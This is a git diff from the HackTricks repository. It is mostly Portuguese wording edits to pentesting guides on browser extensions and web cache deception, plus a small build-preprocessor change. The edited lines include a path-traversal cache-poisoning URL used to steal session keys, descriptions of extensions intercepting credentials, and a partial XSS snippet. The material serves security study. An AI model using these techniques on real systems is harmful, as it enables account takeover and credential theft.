diff --git a/.github/pull_request_template.md b/.github/pull_request_template.md
index 6ae7f9764..c1db44a3e 100644
--- a/.github/pull_request_template.md
+++ b/.github/pull_request_template.md
@@ -1,6 +1,6 @@
Você pode remover este conteúdo antes de enviar o PR:
## Atribuição
-Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faz upload de conteúdo que você possui ou que tem permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
+Valorizamos seu conhecimento e incentivamos você a compartilhar conteúdo. Por favor, certifique-se de que você só faça upload de conteúdo que você possui ou que tenha permissão para compartilhar do autor original (adicionando uma referência ao autor no texto adicionado ou no final da página que você está modificando ou ambos). Seu respeito pelos direitos de propriedade intelectual promove um ambiente de compartilhamento confiável e legal para todos.
Obrigado por contribuir para o HackTricks!
diff --git a/book.toml b/book.toml
index 55f8eeb4f..3d588387c 100644
--- a/book.toml
+++ b/book.toml
@@ -22,6 +22,7 @@ after = ["links"]
[preprocessor.hacktricks]
command = "python3 ./hacktricks-preprocessor.py"
+env = "prod"
[output.html]
additional-css = ["theme/pagetoc.css", "theme/tabs.css"]
diff --git a/hacktricks-preprocessor.py b/hacktricks-preprocessor.py
index 37f549101..fedfdef99 100644
--- a/hacktricks-preprocessor.py
+++ b/hacktricks-preprocessor.py
@@ -30,14 +30,16 @@ def ref(matchobj):
href = matchobj.groups(0)[0].strip()
title = href
if href.startswith("http://") or href.startswith("https://"):
- # pass
- try:
- raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
- match = re.search('(.*?)', raw_html)
- title = match.group(1) if match else href
- except Exception as e:
- logger.debug(f'Error opening URL {href}: {e}')
- pass #nDont stop on broken link
+ if context['config']['preprocessor']['hacktricks']['env'] == 'dev':
+ pass
+ else:
+ try:
+ raw_html = str(urlopen(Request(href, headers={'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:124.0) Gecko/20100101 Firefox/124.0'})).read())
+ match = re.search('(.*?)', raw_html)
+ title = match.group(1) if match else href
+ except Exception as e:
+ logger.debug(f'Error opening URL {href}: {e}')
+ pass #nDont stop on broken link
else:
try:
if href.endswith("/"):
@@ -90,7 +92,7 @@ if __name__ == '__main__':
context, book = json.load(sys.stdin)
logger.debug(f"Context: {context}")
-
+ logger.debug(f"Env: {context['config']['preprocessor']['hacktricks']['env']}")
for chapter in iterate_chapters(book['sections']):
logger.debug(f"Chapter: {chapter['path']}")
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/README.md b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
index ec25cfce8..90eb1ad6a 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/README.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/README.md
@@ -22,7 +22,7 @@ O núcleo da extensão contém a maioria dos privilégios/acessos da extensão,
### **Binário Nativo**
-A extensão permite um binário nativo que pode **acessar a máquina host com os privilégios totais do usuário.** O binário nativo interage com o núcleo da extensão através da Interface de Programação de Aplicativos de Plugin Netscape padrão ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
+A extensão permite um binário nativo que pode **acessar a máquina host com os privilégios totais do usuário.** O binário nativo interage com o núcleo da extensão através da interface de programação de aplicativos padrão do Netscape Plugin ([NPAPI](https://en.wikipedia.org/wiki/NPAPI)) usada pelo Flash e outros plug-ins de navegador.
### Limites
@@ -99,7 +99,7 @@ Uma mensagem é enviada para as páginas da extensão pelo script de conteúdo q
Para visualizar e depurar scripts de conteúdo no Chrome, o menu de ferramentas de desenvolvedor do Chrome pode ser acessado em Opções > Mais ferramentas > Ferramentas do desenvolvedor OU pressionando Ctrl + Shift + I.
-Após as ferramentas de desenvolvedor serem exibidas, a aba **Source** deve ser clicada, seguida pela aba **Content Scripts**. Isso permite a observação de scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
+Após as ferramentas de desenvolvedor serem exibidas, a **aba Fonte** deve ser clicada, seguida pela aba **Scripts de Conteúdo**. Isso permite a observação de scripts de conteúdo em execução de várias extensões e a definição de pontos de interrupção para rastrear o fluxo de execução.
### Scripts de conteúdo injetados
@@ -243,10 +243,10 @@ As extensões de navegador podem conter vários tipos de páginas:
-Note que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme a necessidade. Apesar disso, elas compartilham certas capacidades com a página de fundo:
+Note que essas páginas não são persistentes como as páginas de fundo, pois carregam conteúdo dinamicamente conforme necessário. Apesar disso, elas compartilham certas capacidades com a página de fundo:
- **Comunicação com Scripts de Conteúdo:** Semelhante à página de fundo, essas páginas podem receber mensagens de scripts de conteúdo, facilitando a interação dentro da extensão.
-- **Acesso a APIs Específicas da Extensão:** Essas páginas têm acesso abrangente a APIs específicas da extensão, sujeitas às permissões definidas para a extensão.
+- **Acesso a APIs Específicas da Extensão:** Essas páginas têm acesso abrangente a APIs específicas da extensão, sujeito às permissões definidas para a extensão.
### `permissions` & `host_permissions`
@@ -262,13 +262,13 @@ browext-permissions-and-host_permissions.md
### `content_security_policy`
-Uma **política de segurança de conteúdo** pode ser declarada também dentro do `manifest.json`. Se houver uma definida, ela pode ser **vulnerável**.
+Uma **política de segurança de conteúdo** também pode ser declarada dentro do `manifest.json`. Se houver uma definida, ela pode ser **vulnerável**.
A configuração padrão para páginas de extensão de navegador é bastante restritiva:
```bash
script-src 'self'; object-src 'self';
```
-Para mais informações sobre CSP e possíveis contornos, verifique:
+Para mais informações sobre CSP e possíveis contornos, consulte:
{{#ref}}
../content-security-policy-csp-bypass/
@@ -276,7 +276,7 @@ Para mais informações sobre CSP e possíveis contornos, verifique:
### `web_accessible_resources`
-Para que uma página da web acesse uma página de uma Extensão do Navegador, uma página `.html`, por exemplo, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
+para que uma página da web acesse uma página de uma Extensão do Navegador, uma página `.html`, por exemplo, essa página precisa ser mencionada no campo **`web_accessible_resources`** do `manifest.json`.\
Por exemplo:
```javascript
{
@@ -352,9 +352,9 @@ Para comunicar entre o script de conteúdo e a página web, mensagens postadas s
### Dentro da extensão
-Geralmente, a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo script `background`) e, para recebê-la e manipulá-la, um ouvinte é declarado chamando **`chrome.runtime.onMessage.addListener`**.
+Geralmente, a função **`chrome.runtime.sendMessage`** é usada para enviar uma mensagem dentro da extensão (geralmente tratada pelo script `background`) e, para receber e manipulá-la, um ouvinte é declarado chamando **`chrome.runtime.onMessage.addListener`**.
-Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-lo para **enviar** e **receber** **mensagens** como no seguinte exemplo:
+Também é possível usar **`chrome.runtime.connect()`** para ter uma conexão persistente em vez de enviar mensagens únicas, é possível usá-la para **enviar** e **receber** **mensagens** como no seguinte exemplo:
@@ -401,7 +401,7 @@ Onde é necessário mencionar o **ID da extensão**.
### Mensagens Nativas
-É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não estiver devidamente segura. [Mais sobre isso mais tarde](./#native-messaging).
+É possível que os scripts de fundo se comuniquem com binários dentro do sistema, que podem ser **susceptíveis a vulnerabilidades críticas, como RCEs**, se essa comunicação não for devidamente protegida. [Mais sobre isso mais tarde](./#native-messaging).
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@@ -458,7 +458,7 @@ Uma comunicação segura de Post Message deve verificar a autenticidade da mensa
- Se uma regex for usada, tenha muito cuidado
- **Fonte**: `received_message.source !== window` pode ser usado para verificar se a mensagem foi **da mesma janela** onde o Script de Conteúdo está ouvindo.
-As verificações anteriores, mesmo que realizadas, podem ser vulneráveis, então verifique na página **potenciais bypasses de Post Message**:
+As verificações anteriores, mesmo se realizadas, podem ser vulneráveis, então verifique na página seguinte **potenciais bypasses de Post Message**:
{{#ref}}
../postmessage-vulnerabilities/
@@ -529,7 +529,7 @@ Ao criar novas extensões, a preferência deve ser por promessas em vez de callb
## Native Messaging
-As extensões do navegador também permitem comunicar-se com **binários no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como:
+As extensões do navegador também permitem comunicar-se com **binaries no sistema via stdin**. O aplicativo deve instalar um json indicando isso em um json como:
```json
{
"name": "com.my_company.my_application",
@@ -541,12 +541,12 @@ As extensões do navegador também permitem comunicar-se com **binários no sist
```
Onde o `name` é a string passada para [`runtime.connectNative()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-connectNative) ou [`runtime.sendNativeMessage()`](https://developer.chrome.com/docs/extensions/reference/api/runtime#method-sendNativeMessage) para se comunicar com o aplicativo a partir dos scripts de fundo da extensão do navegador. O `path` é o caminho para o binário, há apenas 1 `type` válido que é stdio (use stdin e stdout) e os `allowed_origins` indicam as extensões que podem acessá-lo (e não podem ter wildcard).
-O Chrome/Chromium procurará por este json em alguns registros do Windows e alguns caminhos no macOS e Linux (mais informações na [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
+O Chrome/Chromium irá procurar por este json em alguns registros do Windows e alguns caminhos no macOS e Linux (mais informações na [**docs**](https://developer.chrome.com/docs/extensions/develop/concepts/native-messaging)).
> [!TIP]
> A extensão do navegador também precisa da permissão `nativeMessaing` declarada para poder usar essa comunicação.
-É assim que parece um código de script de fundo enviando mensagens para um aplicativo nativo:
+Assim é como parece um código de script de fundo enviando mensagens para um aplicativo nativo:
```javascript
chrome.runtime.sendNativeMessage(
"com.my_company.my_application",
@@ -573,9 +573,9 @@ Portanto, a memória da Extensão do Navegador **não deve ser considerada segur
Claro, **não coloque informações sensíveis no código**, pois isso será **público**.
-Para extrair a memória do navegador, você pode **extrair a memória do processo** ou ir para as **configurações** da extensão do navegador clicando em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para procurar dentro do instantâneo por informações sensíveis.
+Para extrair a memória do navegador, você pode **extrair a memória do processo** ou ir para as **configurações** da extensão do navegador, clicar em **`Inspecionar pop-up`** -> Na seção **`Memória`** -> **`Tirar um instantâneo`** e **`CTRL+F`** para procurar dentro do instantâneo por informações sensíveis.
-Além disso, informações altamente sensíveis como chaves mnemônicas ou senhas **não devem ser permitidas para serem copiadas na área de transferência** (ou pelo menos removê-las da área de transferência em poucos segundos) porque então processos que monitoram a área de transferência poderão obtê-las.
+Além disso, informações altamente sensíveis, como chaves mnemônicas ou senhas, **não devem ser permitidas para serem copiadas na área de transferência** (ou pelo menos removê-las da área de transferência em poucos segundos), pois então processos que monitoram a área de transferência poderão obtê-las.
## Carregando uma Extensão no Navegador
@@ -608,7 +608,7 @@ unzip -d "$extension_id-source" "$extension_id.zip"
Outro método conveniente é usar o Chrome Extension Source Viewer, que é um projeto de código aberto. Ele pode ser instalado na [Chrome Web Store](https://chrome.google.com/webstore/detail/chrome-extension-source-v/jifpbeccnghkjeaalbbjmodiffmgedin?hl=en). O código-fonte do visualizador está disponível em seu [repositório do GitHub](https://github.com/Rob--W/crxviewer).
-### Ver o código-fonte da extensão instalada localmente
+### Visualizar o código-fonte da extensão instalada localmente
As extensões do Chrome instaladas localmente também podem ser inspecionadas. Veja como:
@@ -646,12 +646,12 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
- [ ] **Limitar** o máximo possível o **`externally_connectable`**, se nenhum for necessário e possível, não deixá-lo por padrão, especificar **`{}`**
- [ ] Se **URL vulnerável a XSS ou a takeover** for mencionada aqui, um atacante poderá **enviar mensagens para os scripts de fundo diretamente**. Um bypass muito poderoso.
- [ ] **Limitar** o máximo possível os **`web_accessible_resources`**, mesmo vazios se possível.
-- [ ] Se **`web_accessible_resources`** não for nenhum, verificar [**ClickJacking**](browext-clickjacking.md)
-- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verificar XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
-- [ ] Se Post Messages forem usados, verificar [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
-- [ ] Se o **Content Script acessar detalhes do DOM**, verificar se **não estão introduzindo um XSS** se forem **modificados** pela web
-- [ ] Fazer uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo**
-- [ ] Se o script de fundo estiver se comunicando via **native messaging**, verificar se a comunicação é segura e sanitizada
+- [ ] Se **`web_accessible_resources`** não for nenhum, verifique [**ClickJacking**](browext-clickjacking.md)
+- [ ] Se qualquer **comunicação** ocorrer da **extensão** para a **página da web**, [**verifique por XSS**](browext-xss-example.md) **vulnerabilidades** causadas na comunicação.
+- [ ] Se Post Messages forem usados, verifique por [**vulnerabilidades de Post Message**](../postmessage-vulnerabilities/)**.**
+- [ ] Se o **Content Script acessar detalhes do DOM**, verifique se eles **não estão introduzindo um XSS** se forem **modificados** pela web
+- [ ] Faça uma ênfase especial se essa comunicação também estiver envolvida na **comunicação do Content Script -> script de fundo**
+- [ ] Se o script de fundo estiver se comunicando via **native messaging**, verifique se a comunicação é segura e sanitizada
- [ ] **Informações sensíveis não devem ser armazenadas** dentro do código da Extensão do Navegador
- [ ] **Informações sensíveis não devem ser armazenadas** dentro da memória da Extensão do Navegador
- [ ] **Informações sensíveis não devem ser armazenadas** dentro do **sistema de arquivos sem proteção**
@@ -665,12 +665,12 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
### [**Tarnish**](https://thehackerblog.com/tarnish/)
- Puxa qualquer extensão do Chrome a partir de um link fornecido da Chrome webstore.
-- [**manifest.json**](https://developer.chrome.com/extensions/manifest) **visualizador**: simplesmente exibe uma versão JSON formatada do manifesto da extensão.
-- **Análise de Impressão Digital**: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital da extensão do Chrome.
-- **Análise Potencial de Clickjacking**: Detecção de páginas HTML de extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
-- **Visualizador de Aviso(s) de Permissão**: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
-- **Função(ões) Perigosa(s)**: mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
-- **Ponto(s) de Entrada**: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
+- Visualizador de [**manifest.json**](https://developer.chrome.com/extensions/manifest): simplesmente exibe uma versão JSON formatada do manifesto da extensão.
+- Análise de Impressão Digital: Detecção de [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) e geração automática de JavaScript de impressão digital da extensão do Chrome.
+- Análise Potencial de Clickjacking: Detecção de páginas HTML da extensão com a diretiva [web_accessible_resources](https://developer.chrome.com/extensions/manifest/web_accessible_resources) definida. Estas são potencialmente vulneráveis a clickjacking dependendo do propósito das páginas.
+- Visualizador de Aviso(s) de Permissão: que mostra uma lista de todos os avisos de prompt de permissão do Chrome que serão exibidos quando um usuário tentar instalar a extensão.
+- Função(ões) Perigosa(s): mostra a localização de funções perigosas que poderiam potencialmente ser exploradas por um atacante (por exemplo, funções como innerHTML, chrome.tabs.executeScript).
+- Ponto(s) de Entrada: mostra onde a extensão recebe entrada de usuário/externa. Isso é útil para entender a área de superfície de uma extensão e procurar pontos potenciais para enviar dados maliciosamente elaborados para a extensão.
- Tanto os scanners de Função(ões) Perigosa(s) quanto de Ponto(s) de Entrada têm o seguinte para seus alertas gerados:
- Trecho de código relevante e linha que causou o alerta.
- Descrição do problema.
@@ -679,13 +679,13 @@ Embora as Extensões de Navegador tenham uma **superfície de ataque limitada**,
- O URI completo da extensão do Chrome do arquivo alertado.
- O tipo de arquivo que é, como um script de Página de Fundo, Script de Conteúdo, Ação do Navegador, etc.
- Se a linha vulnerável estiver em um arquivo JavaScript, os caminhos de todas as páginas onde está incluída, bem como o tipo dessas páginas e o status de [web_accessible_resource](https://developer.chrome.com/extensions/manifest/web_accessible_resources).
-- **Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass**: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
-- **Bibliotecas Conhecidas Vulneráveis**: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
+- Analisador de Política de Segurança de Conteúdo (CSP) e verificador de bypass: Isso apontará fraquezas na CSP da sua extensão e também iluminará quaisquer maneiras potenciais de contornar sua CSP devido a CDNs na lista branca, etc.
+- Bibliotecas Conhecidas Vulneráveis: Isso usa [Retire.js](https://retirejs.github.io/retire.js/) para verificar qualquer uso de bibliotecas JavaScript conhecidas como vulneráveis.
- Baixar extensão e versões formatadas.
- Baixar a extensão original.
-- Baixar uma versão embelezada da extensão (HTML e JavaScript automaticamente formatados).
-- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, a segunda vez, assumindo que a extensão não foi atualizada, será quase instantânea devido aos resultados estarem em cache.
-- URLs de Relatório linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
+- Baixar uma versão embelezada da extensão (HTML e JavaScript formatados automaticamente).
+- Cache automático dos resultados da varredura, executar uma varredura de extensão levará um bom tempo na primeira vez que você a executar. No entanto, na segunda vez, assumindo que a extensão não foi atualizada, será quase instantâneo devido aos resultados estarem em cache.
+- URLs de Relatório Linkáveis, facilmente vincule alguém a um relatório de extensão gerado pelo tarnish.
### [Neto](https://github.com/elevenpaths/neto)
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
index fcef7dff7..f0c5f2b20 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-permissions-and-host_permissions.md
@@ -8,7 +8,7 @@
As permissões são definidas no arquivo **`manifest.json`** da extensão usando a propriedade **`permissions`** e permitem acesso a quase tudo que um navegador pode acessar (Cookies ou Armazenamento Físico):
-O manifesto anterior declara que a extensão requer a permissão `storage`. Isso significa que ela pode usar [a API de armazenamento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para armazenar seus dados de forma persistente. Ao contrário dos cookies ou das APIs `localStorage`, que dão aos usuários algum nível de controle, **o armazenamento da extensão normalmente só pode ser limpo desinstalando a extensão**.
+O manifesto anterior declara que a extensão requer a permissão `storage`. Isso significa que ela pode usar [a API de armazenamento](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/storage) para armazenar seus dados de forma persistente. Ao contrário de cookies ou APIs `localStorage`, que dão aos usuários algum nível de controle, **o armazenamento da extensão normalmente só pode ser limpo desinstalando a extensão**.
Uma extensão solicitará as permissões indicadas em seu arquivo **`manifest.json`** e, após instalar a extensão, você pode **sempre verificar suas permissões no seu navegador**, como mostrado nesta imagem:
@@ -39,7 +39,7 @@ As seguintes `host_permissions` basicamente permitem todos os web:
```
Estes são os hosts que a extensão do navegador pode acessar livremente. Isso ocorre porque, quando uma extensão do navegador chama **`fetch("https://gmail.com/")`**, não está restrita pelo CORS.
-## Abusando `permissions` e `host_permissions`
+## Abusando de `permissions` e `host_permissions`
### Abas
@@ -52,10 +52,10 @@ Além disso, **`host_permissions`** também desbloqueia a funcionalidade “avan
Os scripts de conteúdo não precisam necessariamente ser escritos estaticamente no manifesto da extensão. Dadas permissões **`host_permissions`** suficientes, **as extensões também podem carregá-los dinamicamente chamando** [**tabs.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/tabs/executeScript) **ou** [**scripting.executeScript()**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/scripting/executeScript).
-Ambas as APIs permitem executar não apenas arquivos contidos nas extensões como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a última espera uma função JavaScript, que é menos propensa a vulnerabilidades de injeção. No entanto, ambas as APIs causarão estragos se forem mal utilizadas.
+Ambas as APIs permitem executar não apenas arquivos contidos nas extensões como scripts de conteúdo, mas também **código arbitrário**. A primeira permite passar código JavaScript como uma string, enquanto a última espera uma função JavaScript que é menos propensa a vulnerabilidades de injeção. No entanto, ambas as APIs causarão estragos se forem mal utilizadas.
> [!CAUTION]
-> Além das capacidades acima, os scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas em páginas da web. Outra maneira clássica de abusar deles é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Finalmente, eles poderiam **manipular sites bancários** para redirecionar transferências de dinheiro.
+> Além das capacidades acima, scripts de conteúdo poderiam, por exemplo, **interceptar credenciais** à medida que são inseridas em páginas da web. Outra maneira clássica de abusar deles é **injetar publicidade** em cada site. Adicionar **mensagens de golpe** para abusar da credibilidade de sites de notícias também é possível. Finalmente, eles poderiam **manipular sites bancários** para redirecionar transferências de dinheiro.
### Privilégios implícitos
@@ -75,7 +75,7 @@ Se você olhar os possíveis parâmetros de `tabs.create()`, também notará que
Você provavelmente sabe que os sites podem solicitar permissões especiais, por exemplo, para acessar sua webcam (ferramentas de videoconferência) ou localização geográfica (mapas). São recursos com considerável potencial para abuso, então os usuários têm que confirmar a cada vez que ainda desejam isso.
> [!CAUTION]
-> Não é assim com extensões de navegador. **Se uma extensão de navegador** [**quiser acesso à sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
+> Não é assim com extensões de navegador. **Se uma extensão de navegador** [**quer acesso à sua webcam ou microfone**](https://developer.mozilla.org/en-US/docs/Web/API/MediaDevices/getUserMedia)**, ela só precisa pedir permissão uma vez**
Normalmente, uma extensão fará isso imediatamente após ser instalada. Uma vez que este aviso é aceito, **o acesso à webcam é possível a qualquer momento**, mesmo que o usuário não esteja interagindo com a extensão nesse momento. Sim, um usuário só aceitará este aviso se a extensão realmente precisar de acesso à webcam. Mas depois disso, eles têm que confiar na extensão para não gravar nada secretamente.
@@ -83,7 +83,7 @@ Com acesso à [sua localização geográfica exata](https://developer.mozilla.or
Adicionar a palavra-chave **`history`** à [entrada de permissões](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions) do manifesto da extensão concede **acesso à** [**history API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/history). Isso permite recuperar todo o histórico de navegação do usuário de uma só vez, sem esperar que o usuário visite esses sites novamente.
-A **permissão `bookmarks`** tem um potencial de abuso semelhante, pois permite **ler todos os favoritos via a** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
+A **permissão `bookmarks`** tem potencial de abuso semelhante, permitindo **ler todos os favoritos via a** [**bookmarks API**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/API/bookmarks).
### Permissão de armazenamento
@@ -93,13 +93,13 @@ No entanto, empresas de publicidade também poderiam abusar desse armazenamento.
### Mais permissões
-Você pode encontrar a [**lista completa de permissões que uma Extensão de Navegador Chromium pode solicitar aqui**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) e uma [**lista completa para extensões Firefox aqui**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
+Você pode encontrar a [**lista completa de permissões que uma Extensão do Navegador Chromium pode solicitar aqui**](https://developer.chrome.com/docs/extensions/develop/concepts/declare-permissions#permissions) e uma [**lista completa para extensões do Firefox aqui**](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#api_permissions)**.**
## Prevenção
A política do desenvolvedor do Google proíbe explicitamente extensões de solicitar mais privilégios do que o necessário para sua funcionalidade, mitigando efetivamente solicitações excessivas de permissões. Um exemplo em que uma extensão de navegador ultrapassou esse limite envolveu sua distribuição com o próprio navegador, em vez de através de uma loja de complementos.
-Os navegadores poderiam ainda restringir o uso indevido de privilégios de extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar abusos. A API tabCapture só pode ser ativada através da interação direta do usuário, como clicar no ícone da extensão, enquanto desktopCapture requer confirmação do usuário para a janela a ser gravada, prevenindo atividades de gravação clandestinas.
+Os navegadores poderiam ainda restringir o uso indevido de privilégios de extensão. Por exemplo, as APIs [tabCapture](https://developer.chrome.com/docs/extensions/reference/tabCapture/) e [desktopCapture](https://developer.chrome.com/docs/extensions/reference/desktopCapture/) do Chrome, usadas para gravação de tela, são projetadas para minimizar abusos. A API tabCapture só pode ser ativada através da interação direta do usuário, como clicar no ícone da extensão, enquanto desktopCapture requer confirmação do usuário para a janela a ser gravada, prevenindo atividades de gravação clandestina.
No entanto, o endurecimento das medidas de segurança muitas vezes resulta em menor flexibilidade e facilidade de uso das extensões. A [permissão activeTab](https://developer.mozilla.org/en-US/docs/Mozilla/Add-ons/WebExtensions/manifest.json/permissions#activetab_permission) ilustra essa troca. Ela foi introduzida para eliminar a necessidade de extensões solicitarem privilégios de host em toda a internet, permitindo que extensões acessem apenas a aba atual mediante ativação explícita pelo usuário. Este modelo é eficaz para extensões que requerem ações iniciadas pelo usuário, mas falha para aquelas que requerem ações automáticas ou preventivas, comprometendo assim a conveniência e a capacidade de resposta imediata.
diff --git a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
index 449b516b8..43c30a94b 100644
--- a/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
+++ b/src/pentesting-web/browser-extension-pentesting-methodology/browext-xss-example.md
@@ -46,7 +46,7 @@ Uma Política de Segurança de Conteúdo excessivamente permissiva, como:
```
permite a execução de JavaScript, tornando o sistema vulnerável a ataques XSS.
-Uma abordagem alternativa para provocar o XSS envolve criar um elemento Iframe e definir sua fonte para incluir o script prejudicial como o parâmetro `content`:
+Uma abordagem alternativa para provocar o XSS envolve a criação de um elemento Iframe e a definição de sua fonte para incluir o script prejudicial como o parâmetro `content`:
```javascript
let newFrame = document.createElement("iframe")
newFrame.src =
diff --git a/src/pentesting-web/cache-deception/README.md b/src/pentesting-web/cache-deception/README.md
index 846117459..72c7f6645 100644
--- a/src/pentesting-web/cache-deception/README.md
+++ b/src/pentesting-web/cache-deception/README.md
@@ -56,7 +56,7 @@ Outro cabeçalho interessante é **`Vary`**. Este cabeçalho é frequentemente u
Mais um cabeçalho relacionado ao cache é **`Age`**. Ele define o tempo em segundos que o objeto esteve no cache do proxy.
-Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar aquele mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando.
+Ao armazenar uma solicitação em cache, tenha **cuidado com os cabeçalhos que você usa**, pois alguns deles podem ser **usados inesperadamente** como **chaveados** e a **vítima precisará usar esse mesmo cabeçalho**. Sempre **teste** um Cache Poisoning com **navegadores diferentes** para verificar se está funcionando.
## Exemplos de Exploração
@@ -77,7 +77,7 @@ _Note que isso irá envenenar uma solicitação para `/en?region=uk` e não para
cache-poisoning-to-dos.md
{{#endref}}
-### Usando o envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies
+### Usando envenenamento de cache da web para explorar vulnerabilidades de manipulação de cookies
Os cookies também podem ser refletidos na resposta de uma página. Se você puder abusar disso para causar um XSS, por exemplo, poderá explorar XSS em vários clientes que carregam a resposta de cache maliciosa.
```markup
@@ -97,7 +97,7 @@ cache-poisoning-via-url-discrepancies.md
### Envenenamento de cache com travessia de caminho para roubar chave da API
-[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API do OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
+[**Este artigo explica**](https://nokline.github.io/bugbounty/2024/02/04/ChatGPT-ATO.html) como foi possível roubar uma chave da API OpenAI com uma URL como `https://chat.openai.com/share/%2F..%2Fapi/auth/session?cachebuster=123` porque qualquer coisa que corresponda a `/share/*` será armazenada em cache sem que o Cloudflare normalize a URL, o que foi feito quando a solicitação chegou ao servidor web.
Isso também é explicado melhor em:
@@ -107,7 +107,7 @@ cache-poisoning-via-url-discrepancies.md
### Usando múltiplos cabeçalhos para explorar vulnerabilidades de envenenamento de cache web
